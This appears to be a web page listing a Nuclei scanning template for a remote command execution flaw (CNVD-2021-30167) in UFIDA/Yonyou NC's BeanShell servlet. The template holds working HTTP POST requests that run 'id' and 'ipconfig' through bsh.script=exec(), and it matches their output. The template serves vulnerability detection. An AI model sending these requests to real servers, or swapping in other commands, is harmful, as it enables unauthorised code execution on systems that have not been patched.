UFIDA NC BeanShell Remote Command Execution

ID: CNVD-2021-30167

Severity: critical

Author: pikpikcu

Tags: cnvd2021,cnvd,beanshell,rce,yonyou

Description

UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.

YAML Source

id: CNVD-2021-30167

info:
  name: UFIDA NC BeanShell Remote Command Execution
  author: pikpikcu
  severity: critical
  description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  reference:
    - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
    - https://www.cnvd.org.cn/webinfo/show/6491
    - https://chowdera.com/2022/03/202203110138271510.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: cnvd2021,cnvd,beanshell,rce,yonyou

http:
  - raw:
      - | #linux
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("id");
      - | #windows
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("ipconfig");

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid="
          - "Windows IP"
        condition: or

      - type: word
        words:
          - "BeanShell Test Servlet"

      - type: status
        status:
          - 200
# digest: 490a00463044022069838a2dc99a584f69e9690d6ae7368546d9bc44dd7ee2019160c0a93c1bc76f022015f35e51b8f6a67540071385d603f152968902cc14e3718e835b97e791449312:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cnvd/2021/CNVD-2021-30167.yaml"

View on Github